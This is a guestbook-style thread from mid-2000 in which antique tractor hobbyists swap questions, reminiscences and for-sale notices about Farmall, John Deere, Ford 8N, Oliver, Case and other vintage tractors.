Cheryl Blair wrote on Tuesday, July 18, 2000 (PDT):i have a WD 45, wide front end, converted to 12 volt, fair conditon, runs good, and 3 pt hitch. also have hay rake, bush hog, and plow. All for $3000.00
Brian Schermerhorn wrote on Tuesday, July 18, 2000 (PDT):My Grandpa had a farm in Guilford N.Y and his big tractor was a JD WF "G". He finally sold it in an auction because he could'nt haul gas to it fast enough. I sure wish I had that tractor now! It's funny how we would do anything to bring back a part of our past.
Ryan Wilhelm wrote on Tuesday, July 18, 2000 (PDT):I have read all of these and still don't know what color my wheels are supposed to be on my super 55 it is a 1955. I have seen all the ads and still don't know what color to paint them red or green? There is green paint under the hub of the back wheels but on the rims it is red please help got a show in 4 weeks
Terry wrote on Tuesday, July 18, 2000 (PDT):I'm looking for a wide front for a mid 50's WD45, if you have one for sale please call 515-744-2806.
Ben Ramsey wrote on Tuesday, July 18, 2000 (PDT):I have an 8N Ford. It was given to me by my grandfather. It is a very handy tractor but it smokes a sufficient amount. I use it for a lot of stuff. I love the little thing.
bob McMulkin wrote on Tuesday, July 18, 2000 (PDT):STARTER PROBLEMS..6 Cyl...Contact me...I just purchased a new starter for the 6 cyl industral engine at a local parts house....It works fine...The Ford Industrail engines are used in some of the local companys making red brick so parts are availible here in North Carolina...
Bob wrote on Monday, July 17, 2000 (PDT):I have 3 restored Cubs & 2 restored Super'A's here in Auckland New Zealand with many parts and attachments. Have to sell. Should be able to compete with your local prices as NZdollar presently 46cUS Any interest welcome.
Herb wheeler wrote on Monday, July 17, 2000 (PDT): The tractor in the picture above and many other restored Fords are in Mollala,Oregon if you want to see them and maybe buy it.It's at Mollala Tractor. He puts them in parades and shows..Very NICE!!!!Herb
Edward F. Nester wrote on Monday, July 17, 2000 (PDT):I just bought an 8N just to have something to work with. Love the tractor but I'm having a few problems. Would appreciate any help. I have no brakes on the right side and the PTO shaft leaks fluid.
Terence Check wrote on Monday, July 17, 2000 (PDT):Recently purchased a 1947.(Similar to picture on this page)Need any info or specs on tractor. Antique Tractor Magazine, issue July/August 1999, did a feature story on the history of the tractor company and the family who made them.
Kevin LaMarre wrote on Monday, July 17, 2000 (PDT):Great Picture of the W-4! I recently traded a cub for a 1950 W-6. Quite a neat tractor. I would like to change it back from 12 volt to the orig. 6 volt. Are wiring harnesses available for this model? Also, anyone know where I can get an owners manual and parts manual for this model? Thanks!
Don Zweep wrote on Monday, July 17, 2000 (PDT):We think we have a 1937 WC,can,t find any serial no,s motor or else where. We will need a wheel for rubber tire size 13+24
chet olsen wrote on Monday, July 17, 2000 (PDT): I just bought a motel 88 oliver and was wondering if any one has a power steering pump for this tractor?
Robert wrote on Monday, July 17, 2000 (PDT):The tractor on the left is a MM UDLX. A very rare tractor.
Amy W. wrote on Sunday, July 16, 2000 (PDT):just purchased a Minneapolis. Am confused though the tractor has 2 serial #'s. One seems to fall into the model UTS 1951 the other in the Model U- UT 1951-59 (unknown). Does any one know the reasoning behind 2 serail #'s? It is a gas tractor. Also looking for tire 14-30 & manifold.
Gil wrote on Sunday, July 16, 2000 (PDT):I've got a cub with a serial number I can't find any infomation on. Can anyone help? The number is 221404J. That's all I can find on the tractor. Thank's
Gwen Jacobs wrote on Sunday, July 16, 2000 (PDT):My father is thinking of selling the family farm. We have been talking about a 1940 Case Crank/Starter Tractor that still works. How do I find the value of this tractor and whom would we contact for an appraisal? He also has a cultivator with it.
Wesley Taylor wrote on Sunday, July 16, 2000 (PDT):I have a set of half tracks for an 8N Ford in good condition. They have been used very little. They are For Sale. Email with any questions.
Willie Young (Western Australia) wrote on Sunday, July 16, 2000 (PDT):Wehad a model A and a model AN when I was a young fella in Scotland.When we sold up to emigrate to WA one was 21 and the other was 22.and still going strong. Now I am trying to get one similar to restore but that type of configuration did not seem to be used in this State. I think I may be on the trail of one in South Australia. I have recently completed restoring a 1948 Fordson Major E27N. They were made in England from 1945 to 1952 after production of the old Fordsons ceased at the end of the war. I often wonder how many US made tractors lie at the botton of the Atlantic still entombed in the many allied ships torpedoed during WW2. Knowing the way these old beasts were made they`d probably fire up after a couple of pulls on the flywheel even down there. Eh? Regards to you all.
Ronnie Deckelman wrote on Sunday, July 16, 2000 (PDT):I recently purchased a 1951 Ford 8N tractor. It seems to have a part missing but I'm not sure. On the right side hood at the air breather all it has is a cover with a hole. I need to know if something is supposed to go into the breather.
Mark Krieger wrote on Saturday, July 15, 2000 (PDT):I've got an "R" (used to have 2), an "80", "50" and a Farmall. The R is my favorite of all of them...it is such a pleasure to drive and hear the lugging through the straight pipe! It is especially fun to pull at tractor pulls. I've beat an 830 twice! None of my tractors are restored, but all are in good shape and are going to be easy restorations someday. I enjoy hopping on any one of them and just taking a drive through the country.
buck wrote on Saturday, July 15, 2000 (PDT):You guys need to get rid of all your deere's and get a real tractor. The Oliver tractors could outpull any of the John Deere's.
Bill wrote on Saturday, July 15, 2000 (PDT):The Moline tractors were a pretty smooth tractor, but they just weren't as good as the old olivers.
Eric Severance wrote on Saturday, July 15, 2000 (PDT):I have recently restored a 41 General , and have several spare parts from the three parts tractors I bought . Zimmerman Oliver-Cletrac in Ephrata , PA. is a good source for anything that is the same as the HG crawler . Send me an e-mail if I can help out .
Marshal Dillon wrote on Saturday, July 15, 2000 (PDT):My Grandfather recently gave me his old MT. It had been sitting for several years in an shed, but after a quick recharge on the baattery it fired ran up and ran like new. There aren't many 1949 things you can fire up and expect to work with. I plan to continue using this tractor on my small farm operation. John Deere sure builds quality products. I have a few questions and would really appreciate any answers, thanks! Does anyone know of a 3 point conversion for the MT? Where is a good place to purchase JD MT parts? Does anyone have any good MT/Older JD Tractor web sites?
Eric wrote on Saturday, July 15, 2000 (PDT):I learned how to drive tractor on a 1951 OC-3-68 , when I was 11 years old , gathering sap for my grandfather's maple syrup production . The tractor was ideal for manuevering in deep snow , and then mud as the sugaring season progressed .I recently purchased a 1954 OC-3-42 , with Wain-Roy hydraulic blade , in very good original condition . My ten year old son is now learning to drive on this , doing what ever odd jobs he can find around our place .
Wesley Taylor wrote on Saturday, July 15, 2000 (PDT):I have a set of half tracks for an 8N Ford in good condition They were wsed very little . email your questions.
Gene White wrote on Saturday, July 15, 2000 (PDT):Has anyone who has owned a Case L ever had to replace the rear end gears? I just wonder how long they last. How many 14 in plows will it pull? Thanks
Richard J. Ganje wrote on Saturday, July 15, 2000 (PDT):We farmed 100 acres with an F-12 back in 1949-1952. I was 11 then and did plowing with 2-14" plows and cultivated with the 2 row cultivator, it was all I could do to work the lift lever. The tractor was mounted on rubber with 11.00" X 40" nobby's on the rear with one single in the front. It was somthing to stop as it had hand brakes so when you had to stop it you had to take your hands off the stearing wheel. It was nice for making sharp turns though because the front wheel would apply them auotomaticly. This brings back a lot of memories of my boyhood days around Clearwater, Minnesota
GDJ wrote on Saturday, July 15, 2000 (PDT):TO;ERH40 I have a 1950 TO30. On mine a have a lever that sounds like what you just mentioned, mine controls the up and down movement for my front end bucket. It's kind of like a back hoe bucket except it has a manual tilting bucket. and hydraulic's for the raising and lowering of the front bucket... Hope this helps you. If you have a picture of it I would love to see it. thanks GDJ
Scott Thomas wrote on Saturday, July 15, 2000 (PDT):What is this? I bought a acreage from a old farmer. In the old tool shed I found a old tag hanging on the wall. The tag is green with IH red painted on the back. The tag reads, ACCEPTED, serial no. 26394, Date 2-12-61 Inspected by (small punch out) If material does not arrive in first class condition return tag to works cheif inspector immediately stating nature of complaint International harvester co. Louisville works..... Does anyone know what this tag was on? Maybe a implement or tractor? I have no clue! Thanks for your help! Scott
Robert Grosfield wrote on Saturday, July 15, 2000 (PDT):I overhauled my 560D in the early 1970s and used it as my primary "big" tractor until I purchased a new 1066. I put a M&W turbo on and instantly gained 14 HP. As time went on and my equipment got bigger I kept turning up the pump. After getting the 1066 I decided to have it checked and put it on a dyno, the mechanic was really surprized that I had been running it at 96 HP for two years and not blowing the engine. It did everything I could expect.
Scott Thomas wrote on Saturday, July 15, 2000 (PDT):I have a 67 cub lo-boy with a 5' belly mower under it. I have heard that you can get a sickle bar mower to fit these lo-boys. Anyone know anything about these? My local John Deere dealer keeps trying to get me to trade this tractor in on a new one! Not today tim! Thanks for your help!
Eric Thatcher wrote on Friday, July 14, 2000 (PDT):Great looking G. I didn't know Propane conversions for G's existed until I saw yours. Actually about two years ago I had a chance to buy one. There was an midwest trader for one. At the time I thought it was a misprint and could never contact the owner. Too bad I didn't try harder at the time. Who made the Propane conversion? Propane wasn't as popular here in west central Illinois as it was out west so not too many guys went to the trouble to convert.
Gary Johnson wrote on Friday, July 14, 2000 (PDT):My Dad had a 1952 ZA, it was one of the first tractors I ever drove. It is still in the family, doesn't run any more, engine is stuck. We used this tractor for every thing it seems like. I cultivated a lot of acreas with it, as well as mowing and raking hay. One of my older brothers has this one. Myself and another brother have a 1942 ZTS, it doesn't run either, but I hope to have it running by 2002. If any one knows of and engine that would fit either of these we may just be interested in it.
John Young wrote on Friday, July 14, 2000 (PDT):If any one knows anything about this type of tractor I would like to hear from them as one has been found in England.
John young wrote on Friday, July 14, 2000 (PDT):A 1 cylinder Samson Sieve-grip 612 has been found in England. If anyone knows any thing about this type of tractor information would be welcome.
Ollie Maier wrote on Friday, July 14, 2000 (PDT):Have a '52 gas WD-45 I purchased used few years back. Love it... only thing I wish it had power steering (hard to turn for old man with loader on front) and a three point hitch. Only problem now is LOOKING FOR ANOTHER CARB FOR IT. Suddenly started running very rough and then quit... would not start. Local mechanic says has good spark. Although the carb looks good, believes that must be the problem. (Compression good.) Does anyone know where I can get a good rebuilt carb or a new one (if not too much... since I only use it as a hobby tractor). Ollie in San Marcos, Tx
Bucky wrote on Friday, July 14, 2000 (PDT):I have a 1947 case tractor with disk and 2 plows, it will run I am wanting to sell it please e-mail if interested
Bucky wrote on Friday, July 14, 2000 (PDT):I have a 1947 case tractor with disk and 2 plows, it will run I am wanting to sell it please e-mail if interested
John Martin wrote on Friday, July 14, 2000 (PDT):What is the width of the outside of the tire track of a Farmall Cub?
LARRY BALL wrote on Tuesday, July 11, 2000 (PDT):Looking for Farmall Cub in or around Texas. With or without attachments, would pre-fer a fixer-upper! If pictures available willing to travel neighboring states! Also, I have located two Cubs that were in a warehouse fire, with most plastic parts, tires and radiator burned beyond use. How available are parts for these tractors and does anyone think there could be internal damage caused by a fire? Any feedback would be helpful. Thanks !!!!!!!!k
Sonja Slater wrote on Tuesday, July 11, 2000 (PDT):My husband owns 2 WD 45's and have almost finished restoring one of them. The other is in very good condition. Both 1956. I've just learned to drive it and enjoy it very much. Can anybody tell me where can we get the selfadhesive stickers to put on the restored one? We're from South Africa but will order from anywhere.
Roy C. Wolf wrote on Tuesday, July 11, 2000 (PDT):It is sure nice to see an L Model John Deere; they had an LA John Deere 2cylinder combine engine in them; I bought a used one in 1956 with a mower, one bottom plow, and a one row cultivator. Mower hung on underneath and was driven by a belt attached to the drive shaft; the cultivator was a one row as you stranded the row to cultvate; mine had an innovated old car emergency brake installed on it to act as a handle clutch(someone thought it had to have a hand clutch to be a JD; the foot clutch was pushed by a bracket welded to it; I farmed with it as my only tractor near Russell,Iowa, in 1956 and 1957; I paid $300 for it and the attachments; that was the money I received when I was mustered out of the USArmy in 1956! Pleasant memeories of a bye gone era! I rake hay with it as we put up all the hay in stack there in southcentral Iowa--cattle country--wish I could go back and live those time over again. Everyone helped each other; is used a neighbors disk and corn planter and we plowed, mowed hay, and put up hay together!
bdg576 wrote on Monday, July 10, 2000 (PDT):Does anyone know the hp of a 1970 ford 2000. and do you know the approximate value of this tractor.
Michael wrote on Sunday, July 09, 2000 (PDT):If anyone can provide me with information on the larger Twin Cities - the 40-60 and the 60-90, I am looking for specs to build a 1/2 or 1/3 scale tractor. Any information would be greatly appereciated. Michael caster at geetel.net
mike jones wrote on Sunday, July 09, 2000 (PDT):my son and i just bought mt we need a set of rear tires and rims also have original plow can someone give me clue how front of plow is coupled to tractor from long arm maybe something missing thanks in advance. mike jones Ill.
Gary wrote on Sunday, July 09, 2000 (PDT):I recently purchased a Ferguson TO 35 with a hydraulic loader. I'am looking for a 1 or 2 bottom pull-type plow and a drag for it. I live in WI. and have recently purchased 5 acres of land and plan to raise farm market crops once I retire from my cheese plant job.
Olly Ingram wrote on Sunday, July 09, 2000 (PDT):I have a partially restored Model L on Roadless tracks. Any ideas on Value, Information, restoration etc. welcome. England
Wayde Brodkorb wrote on Sunday, July 09, 2000 (PDT):I bought 2 H tractors for 1000.oo dollars, also came with a farmhand loader and massey haris sickle mower. One tractor had number 1 cylender down so i pulled the valve cover and adjusted the valves and that took care of the problem. the other one i traded for a tracto loader, but if any body can help me find a manual for either one I would appreciate it. The H I kept is a 1945 FBH 208841. The tracto loader is a lt 10 1310 allis chalmers moter. Thank you.
Judy Boles wrote on Sunday, July 09, 2000 (PDT):What are the best references on the history, capabilities, and operation of the 8N and 9N tractors?
Joel Williams wrote on Sunday, July 09, 2000 (PDT):I first saw one of these tractors at a show about eight years ago. The guy made a full pull out the other end and was going to take the sled around and back to the starting line but they wouldn't let him. The thing just wouldn't die. I knew right then I wanted one and I finally got it. Had to go all the way to Ontario Canada to get it bit I got it now. I collect Farmalls but I had to add this one to the collection. Looking for an 80 and an 830 next. This is an awsome machine for sure.
Tom Bridges wrote on Sunday, July 09, 2000 (PDT):I came across a Oliver 500, with front loader and back blade. Could you tell me the price of this in good condition. I was told this is a english made tractor , poss. from canada? Thanks
Trace Dowling wrote on Sunday, July 09, 2000 (PDT):I would like to know if someone has parts ,info, ect. for a 130. I just bought one and the hydraulic pump may have problems. if you know where I get information on one please mail me. THANKS ALOT!!!!!!
Tony Harris wrote on Saturday, July 08, 2000 (PDT):I purchased a 1959 730 diesel in 1996. It must have been mistreated for many years before I got it. After many hours and tearing it down completely and rebuilding it from the ground up it now runs like an ox. I understand why many folks are proud of their tractors. In a parade last memorial day weekend an older fellow smiled and gave me the thumbs up with a tear in his eye. That made all the hours of working on it and money spent all worth it. I love the sound they make under a load, that bark gets louder. I first heard a two cylinder diesel at two cylinder expo in 1995. I knew then I wanted one, and next year at age 26 is when I purchased my tractor. After 2 1/2 years of work it was complete, only I strongly recamend not restoring a tractor this size in a two car garage.
KEN REEVERTS wrote on Saturday, July 08, 2000 (PDT):I do several farming jobs with my M5. Have lots of trouble keeping it running.Any suggestions? I do like the tractor.
grampa chad wrote on Saturday, July 08, 2000 (PDT):Also, what are the original color(s) of the 1952 Leader? Any other characteristics to signify an authentic?
Grampa Chad wrote on Saturday, July 08, 2000 (PDT):I was wondering if anyone knows how much a good original condition 1952 Leader Tractor is worth? I've found one and want to know what it's worth and if theres many around.
George Dorsey wrote on Saturday, July 08, 2000 (PDT):On my cub, i experimented and put agricultural 4-wheel drive type tires in the front, and i found that the tractor handles a bit better now.
Alvin wrote on Saturday, July 08, 2000 (PDT):Looking for a Website with Information on the Ford 6600. Tractor.
H.F. Linder wrote on Saturday, July 08, 2000 (PDT):I need some information on this tractor.I have a 1938 KTA Waterloo. Can you tell me if it was made in Canada or assembled in Canada & where? Were they made just for Canada only? Do you know how many were made? I would appreciated any Information you might have for me. Thank you so much. H.F. Linder
Michael Favre wrote on Saturday, July 08, 2000 (PDT):I am doing an internet search for tractor parts for my father as he is not on-line quite yet, maybe in the 22nd Century. Anyway, I was wondering if you could help me find a Hydraulic Cylinder for a Power Steering unit on a Fordson Major Diesel Wheel Tractor cirque 1956 to 1962. Or, retorfit options. Thank you in advance for your help.
chris mason wrote on Friday, July 07, 2000 (PDT):I am looking for an Allis Chalmers single front axil tractor. It must be bigger than an A-C 204f. Price? up to $22,250? The condition must be fair and it must run. If it has a BC493K front loader that would be grate. The PTO MUST work!!!!!!!I am also willing to trade a mint condition Ford 8n funk converted general porpose tracter,plus chash!
Jeff Jr. wrote on Friday, July 07, 2000 (PDT):i have what i beleive is a 49 SC it was my grand pa or great grand pa's tractor im not sure because both my grand and great grand pas bought them new at the same time we got it running new berrings rebuilt starter its finally running good my grand pa had a loader for it but it restricted front wheel turning radius so i doubt it is the right loader for this tractor the other sc is still at my grand pa's house and its loader looks different than mine they use it for cleaning hog pins i was wondering where at in a closer area i could find a loader i live in south east indiana i was also wondering if their was a 3 point hitch attachment if you have any information about this stuff i would appriciate it
Thor-Oskar Thyrum "Norway" wrote on Friday, July 07, 2000 (PDT):I have bay a case tractor"disel" 196? i think the name is 380 or 480 .The tractor have front-Equiptment and King-Kunstruksjon Grave-Euiptment rear of the Tractor I am intresting in all kaind off info of this Tractor
Pat Parker wrote on Thursday, July 06, 2000 (PDT):I own a 330 Utility with a backhoe and front end loader. However when you take the hoe off of it the steering gives a new meaning to armstrong steering. Is there some kind of power assist available for these wonderful little tractors. Any help would be appreciated.
Josh Newton wrote on Thursday, July 06, 2000 (PDT):I am currently 14 years old and on our farm we have a 1951 Super C that my great-granfather bought brand new. Today it is still in tip top shape and still has the original cultivator with it. The two bottom plow sits out in a fenceline somewhere. The reason why it sits there is my great-grand father almost killed himself on it that day. It is still used on a regular basis around the farm although it has become pretty obselete with all of the newer tractors around.
John Gehman wrote on Thursday, July 06, 2000 (PDT):Recently saw one of these at a Church Camp. Used for snow removal, etc. Looking for new tracks, since these are very badly worn. Any ideas if they are still available? Thanks.
Greg Gattermeyer wrote on Thursday, July 06, 2000 (PDT):I am looking for an old compact tractor, preferibly a FORD 8n. The condition doesn't matter, as long as it runs good.I would like a double axil frond end.Can you help me? THANKS!!
Kriss wrote on Thursday, July 06, 2000 (PDT):I am also looking for a 500, 600, or900. I need a tractor for pulling, my dc can only pull two classes.
Greg Gattermeyer wrote on Thursday, July 06, 2000 (PDT):My dad and I are looking for an old,compact tractor,preferily a Ford 8n. We don't care what shape it is, as long as it runs. If you can help me e-mail me at g-gattermeyer at yahoo!.com
LRR wrote on Thursday, July 06, 2000 (PDT):I have Oliver 77 Orchard tractor that is in very good condition. I am woundering how much it would go for in mint condition. Any informatation dealing or not dealing with price would be greatly appreciated. Thank you
LR wrote on Thursday, July 06, 2000 (PDT):I have a 1952 Oliver gas orchard tractor. I am wonderning how much it will sell for in mint condition. Any informatation dealing or not dealing with the price would be greatly appreciated. Thanks
L R wrote on Thursday, July 06, 2000 (PDT):I have an 1952 Olver 77 gas orchard tractor that is in very good shape. I am wondering how much it would sell for. Any information on the tractor dealing with the price or not would be greatly appreciated. Thanks
trent wrote on Thursday, July 06, 2000 (PDT):Hi, I own a 52 JD G it has also been coverted to LP it came from texas a few years ago was much more expensive then LP down south if you keep your eyes open you will see a few I was thinks of converting mine back but after seeing yours i am having second thoughts you have one nice tractor there Trent
Danny wrote on Wednesday, July 05, 2000 (PDT):We own a 1952 Ford 8N with a Funk OHV 6 cylinder, model 5,113. We are looking for information on the serialized tractors.
Pat wrote on Wednesday, July 05, 2000 (PDT):I have a 1945 VAI which was once owned by the state. I believe this tractor had a belly mower on it.It came with a gearbox belt driven which sends the pto foward underneath and also has a lever on it which activates a cable lift.anyone seen one of these I would like a original mower.thanx
Ken Roffel wrote on Wednesday, July 05, 2000 (PDT):I own a 1947 Farmall A completly restored and now am looking for an "M" to restore or one that has been restored to original. I live in Langley, British Columbia and would like to hear from someone close enough that has one for sale. Growing up on the farm in Southern Ontario just outside of London the major field work was done with the "M" It was an excellent tractor for our size of farm (200 acres) and along with the Little "A" it worked hard in the heavy clay soil of the region. We have raised our family and now it's time for a couple of new toy's. I wanted a new convertible and decided that both the A and M would give me all the sunshine I need but at a much safer speed. I recall the M having a very high road gear and can still feel the warm Southern Ontario wind blowing across the hood. Please let me know if you have one for sale or know of an M wanting a good home. Regards, Ken
Ken Roffel wrote on Wednesday, July 05, 2000 (PDT):I have a 1947 Farmall A that has been completely restored. The 3 year project was worth the effort as the Little "A" recently won first place at the May Day celebrations in Fort Langley, British Columbia. Fort Langley is also the home of the First Capital of British Columbia. The tractor pictured above is identical to mine. My serial numbers also start with FAA and the tractor is a "Cultivision A I have applied for a collector plate from the Provincial Government in order to run the tractor legally on the streets during parades. However, since the tractor was never registered and I do not own a farm, the process is taking longer than expected. Any restorations of Farmall A's going on near where I live, I would be delighted to offer any tips or suggestions.
Bill Beavers wrote on Tuesday, July 04, 2000 (PDT):would like to get parts for this tractor that burnt in 99
Bill Beavers wrote on Tuesday, July 04, 2000 (PDT):anyone know where I can buy a d-17? I owned one but it was burnt in a fire we had in nov.99 would like to replace it
Harold Lorenz wrote on Tuesday, July 04, 2000 (PDT):I have a restored M, 1950, am interested in aquiring attachments and a three point conversion kit, what have you. Preferably in, or close to, New Hampshire.
Clif Gearhart wrote on Tuesday, July 04, 2000 (PDT):I am looking for parts for my 1955 Pacer. I need an air cleaner assembley, a draw bar, one side panel and possibly more. If you know of any being parted out in the south or southeast USA please let me know.
Bud Smith wrote on Tuesday, July 04, 2000 (PDT):I have located a 1952 AC "G" model which my friend wants to sell. It is in fair condition. It has been outside for about 9 years. It seems to be complete but there are no attachments. The enginge is locked but all together. What is a fair price for both he and I.
Andy wrote on Monday, July 03, 2000 (PDT):I have a 1940 JD B on full steel that I've been restoring off and on when time permitts about all it needs now is paint. My dad has a 37 B that he bought from a friend that is restored better then new with the color code paint back in 1937.
Aaron C. Tank wrote on Monday, July 03, 2000 (PDT):Hello, This question is for a DC tractor rather than a VC tractor (sorry...) I am planning to purchase an early 1950's Case DC tractor (possibly a DC3?) and would like to adapt it so it can use some of our 3-point implements. However, it does not have an eagle hitch... Does anyone have any suggestions as to how I could adapt this Case DC so it could use smaller 3-point implements? Thank you. Sincerely, Aaron C. Tank
Jim Brown wrote on Sunday, July 02, 2000 (PDT):Where is the serial number located on the D17 series III
Ann Noah wrote on Sunday, July 02, 2000 (PDT):We are in the process of restoring a 1946 Co-op E3 tractor. Because there are little to no records of Co-ops being built in 1946 we are having trouble finding a picture or any information about the placement of the decals for the tractor. If anyone could help us it would be greatly appreciated. We would be happy to send anyone interested a picture of the finished project, minus the decals at this point. Thank you.
Carl Sabo wrote on Sunday, July 02, 2000 (PDT):I bought my tractor three years ago and have found it to be pretty reliable. I think the select-o-speed has been great. I, too, find that until the fluid warms up the tractor won't lock in park. Is it some thing to worry about?
Roy C. Wolf wrote on Sunday, July 02, 2000 (PDT):Two brothers (Frank & Will Jones) owned two 22-36's that they used for belt power on their two Russell Threshing machines in the 30's and 40's after they scraped out their old Russell Steam engines for the War effort in the 1940's. It was a decidedly stupid mistake to cut up the old steam engines; later they sold the old 22-36's another mistake, because in later yours Frank married my dad's oldest sister and he and my father helped organize the original Northern Illinois Steam Power Club at Sycamore, Illinois, in the mid 1950's and they really wished that they had both the steam and old gas tractors back....so goes life...I feel the same!
Roy C. Wolf wrote on Sunday, July 02, 2000 (PDT):The McCormick-Deering 15-30 was the first tractor that I ever started and drove on my own in the early 40's during WWII when I was about 12 years old. We lived west of Aurora, Illinois, on Jericho Road in Sugar Groe Township. We used it for plowing, disking, and belt work. Dad sold it in the late 40's and I was sure mad. Wish I had it now!
Michael Clary wrote on Saturday, July 01, 2000 (PDT):Have the oppotunity to purchase a IH 340 utility tractor, fast hitch, front end loader, 1031.3 hrs, looks to be in decent shape just looks "well used". What would be a good bargaining price to pay for the tractor. Please email to docpenny at elmnet.net Thanks, Mike
Doug Kroese wrote on Saturday, July 01, 2000 (PDT):I have my eye on a 1938 Styled L, Serial #626145. Runs well, tires are good, sheet metal fairly straight. Recent restoration by ametuer. What is a fair price for this tractor?
MIKE wrote on Saturday, July 01, 2000 (PDT):I'm looking for two front steel wheels for a B.I have 4 B parts tractors and a RC to part for trade.
Roy C. Wolf wrote on Saturday, July 01, 2000 (PDT):I think the "M" was the greatest tractor ever built. I was born in 1931. The first tractor I ever start was my Dad's 15-3o McCormick-Deering. Then I drove an 1929 Farmal. Later a F-20; then an "H", but somewhere in there I drove my Grandfather's JD "B"--I drove a lot of JD's, but was always in love with the IHC line. Even today I feel Case-IH are the best line. Thank you for being able to view bygone eras.
Jimmy Dykes wrote on Friday, June 30, 2000 (PDT):Nice tractor, After watching a tractor pull with my 11 year year old Grandson,Where the oliver did the best job,He has decided that he going save money and buy a oliver tractor, The oliver was and still is, a wonderful tractor
KEN SHEREN wrote on Friday, June 30, 2000 (PDT):I have been told I have a Int. 300 LPG Grove tractor.I found it in a salvage row at a auction a number of years ago .With all the grove sheetmetal on it, from the front it looks like a big bug,if there were some big eyes painted on it.It is pretty rough,but it would not run any better if it was new.I was told that there was a couple of independent companies that produced the sheet metal for these grove tractors.Also no ID. plate available.Steering gear is under steering wheel (sort of,steering shaft extended because of LPG conversion). This would be a real conversation piece when done .Any info appriciated.
mike simpson wrote on Thursday, June 29, 2000 (PDT):I recently acquired an old oliver horse drawn sickle mower and would like to restore; however, I cannot find the original color scheme. Can anyone help. Thanks
Dan wrote on Thursday, June 29, 2000 (PDT):I think what he was saying is that the Model Z tractor first appeared in 1937, not this particular tractor.
Jesse L. wrote on Thursday, June 29, 2000 (PDT):I'm 19 years old and started restoring my own tractors when I was 15. I just aquired a 1949 "R" Diesel about a month ago form a good friend who has owned it for 10 years. What a neat tractor it is. Its just somthing about that knocking diesel sound they make that makes them so unique. This "R" that I have is in excellent orginal condition. It has 5400 original hours on it, the hour meter stiil works I hope to use it this fall to do custom plowing for neighbors.
Ron Breakwell wrote on Thursday, June 29, 2000 (PDT):I have a MH 81-S,very good condition runs well.I,m looking for a service manual for this model.Can anyone help me on where I might get one.I broke an axle and was able to find one at a tractor wreaker in Saskatchewan Canada.Phone # 1-306-257-3557.Smiths Tractor Wreaking
John Houser wrote on Wednesday, June 28, 2000 (PDT):My dad bought a 500 diesel new in 1954 with a 5-14" Case plow. We ran it until 1970. I grew up on it. It was a very well engineered machine for it's time. It could pull. I have good memories of it.
John Houser wrote on Wednesday, June 28, 2000 (PDT):When I was a kid, back in the 1950's, I worked with my dad's VC Case. It had a "bolt-on" sickle-bar mower and I cut hay and straw with it. We also used it to pull hay wagons. It was a good size for that type of work. Dad also had an SC, a DC, and a 500 Diesel. He liked Case tractors.
jeff greene wrote on Wednesday, June 28, 2000 (PDT):you said harry ford was born in 1863 and henry ford built the tractors. who is harry ford?
Larry Winder wrote on Wednesday, June 28, 2000 (PDT):I was wondering what year the 17-30 and 18-30 Hart-Parr Tractors were built.
David Dowling wrote on Tuesday, June 27, 2000 (PDT):I have operated a 300 utility tractor most of my life and I would never part with it. I am in the process of looking for another one to buy in the midwest. Any info on a good one, running or not, would greatly be appreciated!
Chris Wright wrote on Tuesday, June 27, 2000 (PDT):I have a 9N Serial # (found it on transmission)9N-3551-0 Any ideas on orignal colors ? Only trouble with it is the 3point hitch is either completly up or completly down, no in between. Other than that, tractor runs great.
loretta wrote on Tuesday, June 27, 2000 (PDT):I own a 1963 john deere 2010 I am serching for a diesel motor I do beleive it's a good tractor can anyone help me find one please contact me bye e-mail thanks
Jim Prior wrote on Tuesday, June 27, 2000 (PDT):Thanks for the info John. But, I know where the Belt pully lever is. The two levers I'm talking about are located on the side of the bellhousing. One lever is for the hydraulics, but the other lever remains a mystery. Both levers are on the right side of the tractor when sitting in the seat and both can be controlled while sitting there also.
John Bishop wrote on Monday, June 26, 2000 (PDT):I have an 8n tractor and the brakes are completely useless. What should I do or where could I find brakes for my tractor? It is very dangerous to run because when I say no brakes I mean no brakes at all! Other than the breaks the Ford 8n tractor is the best I have ever owned!
dan wrote on Monday, June 26, 2000 (PDT):get a better pitcture of that tractor!!!!!!!!!!!!!!!!!
Darryl Reimer wrote on Monday, June 26, 2000 (PDT):I am replying to Ron Stoneking who asked about the Massey 95. I recently drove my friend's 95 in a pull. It came out between 1958 -1961 when it was replaced by the Massey Ferguson model 97.The Massey 95 was really a MM GVI with a 425 cid eng. and about 74hp on pto.The 97 was a MM G705 with a 504 cid eng. putting out 101hp pto and the Massey tin/paint of cource.
Cornelius wrote on Monday, June 26, 2000 (PDT):My dad has one of these 80 JohnDeere tractors, we use it every summer. We love the easy starting, and the power is equal to that of 4020 John Deere, We have even started this tractor at 10 degrees below zero without any block heater or flame thrower. Only problem is the starting engine, we are going to attempt to convert it to electric start.
david wrote on Monday, June 26, 2000 (PDT):I have a M670 that I am using on the farm and it is operating very well at this time. Does any one have pictures of this tractor? What is it's value? Should I keep farming with it or retire and restore?
Jon wrote on Sunday, June 25, 2000 (PDT):I own a D17. I would like to install a new front end loader. The hydralic pump is a little slow. What's a good after market loader for this tractor and are the pumps hard to work on?
john wrote on Sunday, June 25, 2000 (PDT):Jim Prior,one of those levers control the hydraulic system, the clutch must be out for the pump to work. the other is probably the control to engage the belt pulley,which may or may not be on your tractor.
Wayne Pridham wrote on Sunday, June 25, 2000 (PDT):I have aquired a 1941 model"v"Case.It runs good,and has a continental engine.This tractor is a cranker with magneto. Hope to restore it.Needs an exhaust manifold,and a heat gauge.Case history book shows rims were black.Anyone who has seen one, please let me know at wspridham at golden.net Wayne Pridham Ontario,Canada
Sam Taylor wrote on Sunday, June 25, 2000 (PDT):My serial number is 141750. Can someone tell me whst year this may be. Also I am interested in buying attachmnets and spare parts.
Sam Taylor wrote on Sunday, June 25, 2000 (PDT):My serial number is 141750. Can someone tell me whst year this may be. Also I am interested in buying attachmnets and spare parts.
Dick Hoffman wrote on Sunday, June 25, 2000 (PDT): I have an OC3 Dozer with a cage over it. I use it a lot around home. It is in nise shape and I have a lot of spare parts. A complete undercarrige, frame and transmission. I installed an alternator and 12 volt battery, lights and gauges. I saved all the old parts for anyone to go back to orig. I am moving soon and have no need for it anymore so I will be selling it. Anyone looking for a great little machine with all the spares send me an E-Mail. I am in Cle Elum Wa.
Brian Tracey wrote on Sunday, June 25, 2000 (PDT): Hi. I recently bought a farmal M with no motor,(not a problem ) the local pulling club is starting a V8 class. so at the moment I'm finishing a 500 hp (built) Big block Dodge . I have pulled 4x4 trucks, but this is my first pulling tractors
